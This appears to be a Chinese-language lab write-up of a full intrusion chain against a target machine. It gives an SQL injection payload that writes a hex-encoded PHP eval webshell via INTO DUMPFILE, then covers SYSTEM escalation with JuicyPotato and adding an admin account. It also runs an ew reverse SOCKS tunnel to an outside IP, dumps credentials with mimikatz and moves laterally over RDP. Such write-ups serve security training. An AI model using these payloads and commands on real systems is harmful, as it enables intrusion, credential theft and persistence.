1、探測是否有sql注入:
(1)從ur看, 傳遞了id=1這個參數;這里有可能涉及到和數據庫交互,為了確認是否存在sql注入,這里故意構造and 1=2這個false的條件,看看頁面返回啥:
(2)果然頁面報錯,說明存在sql注入,並且還有個關鍵信息:當前頁面在C:\phpStudy\WWW\ 這個目錄下;
(3)通過order by看看當前表有多少字段:order by 2是正常的,order by 3就異常了,說明有2個字段;
(4)接着看看頁面有沒有報錯點,方便后續觀察結果:
發現頁面一切正常;為了不讓正常的頁面干擾,這里故意提供一個false條件,發現第二個字段可以在頁面顯示;
(5)既然確認有sql注入,這里可以嘗試看看dumpfile是否開啟(注意:這里是url,反斜杠\有特殊的含義,需要再寫一個轉義)。如果開了,可以寫小馬;嘗試后發現頁面報錯,
但文件已經寫進去了,下一步寫小馬;
(6)先構造一個寫小馬的語句:and 1=2 union select 666666,<?php eval($_REQUEST[8])?> into dumpfile "C:\\phpStudy\\WWW\\config.txt",發現文件生成失敗;很有可能是一句話小馬里面有尖括號、問號導致的,這里先轉成16進制編碼:注意,原始字符串編碼的時候會去掉空格,這里自己要手動加個20;
構造好的部分url: and 1=2 union select 666666,0x3c3f706870206576616c28245f524551554553545b385d293f3e into dumpfile "C:\\phpStudy\\WWW\\config.txt"; 放到url執行,還是報錯:
但小馬已經能訪問到了:
把寫入文件的后綴改成php,重新生成config.php,這里能正常執行:
2、小馬已成,上菜刀,成功連接:
當前用戶是administrator權限,還不是system,需要提權;os是windwos server 2008 R2;
通過systeminfo,發現打了兩個補丁: [01]: KB2999226 [02]: KB976902;在提權輔助網站查詢了一圈,能利用的exp還不少;
這里為了提權方便,直接用一款叫做“JuicyPotato”的工具,github有下,直接通過菜刀復制到網站的根目錄;菜刀的虛擬終端沒法通過tab鍵補全,打字不方便,這里重命名成1.exe,方便使用;同樣是whoami指令,用了juicypotato工具,提權成了system,對比如下:
既然提權成功,這里添加一個system權限的用戶:先新建用戶
再添加到管理員組:
添加成功:
3、用戶已創建,接着想辦法遠程登陸就可以為所欲為的;
(1) 靶機大概率在內網,需要主動連接我這邊。但我沒有公網ip,這里找個免費提供隧道的站點,申請一個隧道做反彈連接用:
(2) 接着監聽本機的6666端口,這里用另外一個工具:ew_for_win_32.exe, 執行命令:ew_for_win_32.exe -s rcsocks -l 8888 -e 6666 , 一旦在本機6666端口接收到消息,轉發到8888端口;
接着讓靶機訪問free.qydev.com:4965這個地址,就能中轉到我的8888端口了;在靶機上,用菜刀打開終端,上傳ew_for_win_32.exe,執行e.exe -s rssocks -d 47.92.102.131 -e 4965 命令,讓靶機主動連接隧道中轉站,在通過中轉站連接到我本地;在菜刀執行,提示成功(這里注意兩點:用雙引號,而不是單引號; 用英文輸入法):
至此,靶機的反向代理終於連接到我的8888端口,真心不容易,中間來回倒騰了好幾層;
繼續配置socket 5代理:
通過菜刀的虛擬終端,查詢到靶機內網ip: 10.0.1.4,瀏覽器能直接打開對方的主頁:
查詢ip地址也是對方的:
這次終於可以通過3389遠程桌面連接上了:
以這台內網機器為跳板,繼續喲弄個nmap探測內部其他主機:同一個網段,還有3、6、8這3台服務器,6和8都開了3389端口,可能存在遠程登陸的機會,賬號是多少了?
同一個內網,可能只有1個管理員;管理員的賬號大概率是一樣的,否則記不住;這里用另一款神器:獼猴桃mimikatez,直接搜索內存找賬號;
administrator的賬號都有了,重新用這個連接:
自己創建的賬號已經斷開,administrator連上:
剛才既然用獼猴桃在內存中找到了密碼,並且8這台主機也開了3389端口,這里用管理員賬號嘗試,居然成功登陸:
總結:
1、整個過程不難,每一步的邏輯都容易理解,就是全流程很繁瑣,這里整理了一下核心步驟:
2、靶機、隧道中轉站、攻擊機三者的轉發關系如下:靶機一般都在內網,通過路由器訪問公網;攻擊機也是通過路由訪問公網,雙方都沒有獨立的公網ip,只能找個隧道中轉;